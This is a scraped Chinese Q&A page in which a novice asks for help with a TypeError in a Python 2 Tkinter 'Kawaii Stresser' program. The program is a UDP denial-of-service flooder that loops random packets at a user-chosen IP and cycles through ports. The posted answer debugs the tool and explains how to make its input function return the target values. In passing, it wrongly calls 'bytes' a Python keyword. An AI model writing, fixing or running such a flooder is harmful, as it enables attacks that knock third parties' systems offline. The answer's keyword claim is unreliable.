如何在python代码中添加字符串或缓冲区?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何在python代码中添加字符串或缓冲区?相关的知识,希望对你有一定的参考价值。

如果可以解决此代码中的问题,您可以在tkinter plz中帮助我吗我得到了这个错误:

Exception in Tkinter callback
Traceback (most recent call last):
  File "C:Python27liblib-tkTkinter.py", line 1547, in __call__
    return self.func(*args)
  File "c:/Users/exe/Desktop/backup files/Programmation/Kawaii Stresser/g.py", line 30, in CallBack
    ddos.sendto( flood, (ip, 80) )
TypeError: coercing to Unicode: need string or buffer, NoneType found

我想添加字符串或返回但我不知道如何对不起,我的语言很弱btw即时新手谢谢

import Tkinter as tk
import Tkinter
import sys
import os
import time
import socket
import random
import webbrowser

##########################################################
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
flood = random._urandom(1490)
clear = lambda: os.system('cls')
sent = 0
##########################################################   
def sui_input(prompt):

    root1 = tk.Tk()
    var = tk.StringVar()

    label = tk.Label(root1, text=prompt)
    entry = tk.Entry(root1, textvariable=var)
    label.pack(side="left", padx=(20, 0), pady=20)
    entry.pack(side="right", fill="x", padx=(0, 20), pady=20, expand=True)
    entry.bind("<Return>", lambda event: root1.destroy())
    root1.mainloop()
def CallBack():
    while True:
         ddos.sendto( flood, (ip, 80) )
         ddos.sendto( bytes, (ip, 80) )
         sent = sent + 1
         port = port + 1
         print ("Send %s bytes of packet to %s in port:%s")%(sent,ip,port)
         if port == 65534:
           port = 1 


print("Welcome to TCP Socket")
ip = sui_input("IP Target   (127.0.0.1)   : ")
port = sui_input("From Port   (80/21/443)   : ")
hide = sui_input("fake Ip  (182.21.20.32)   : ")
window = tk.Tk()
B = Tkinter.Button(window, text ="start Ddos", command =CallBack)
B.pack()
window.mainloop()
答案

您收到此错误,因为变量floodNone。它可能已在某处被覆盖。

注意,由于bytes是关键字,因此应重命名bytes。您不能将其用作变量名。该功能中的sentport将具有相同的问题。

同样值得注意的是,这三个值也将全部为None

ip = sui_input("IP Target   (127.0.0.1)   : ")
port = sui_input("From Port   (80/21/443)   : ")
hide = sui_input("fake Ip  (182.21.20.32)   : ")

您需要使您的sui_input函数返回某些内容,才能将数据传递回这些值。

以上是关于如何在python代码中添加字符串或缓冲区?的主要内容,如果未能解决你的问题,请参考以下文章

Python TypeError:预期的字符串或缓冲区

Python TypeError:导入文本文件时需要字符串或其他字符缓冲区对象

Python读取字符

如何升级到python3版本并且安装pip3及ipython3

如何在 iOS 中添加带有 PCM 数据/缓冲区的可播放(如 wav、wmv)标头?

添加到masm中的缓冲区?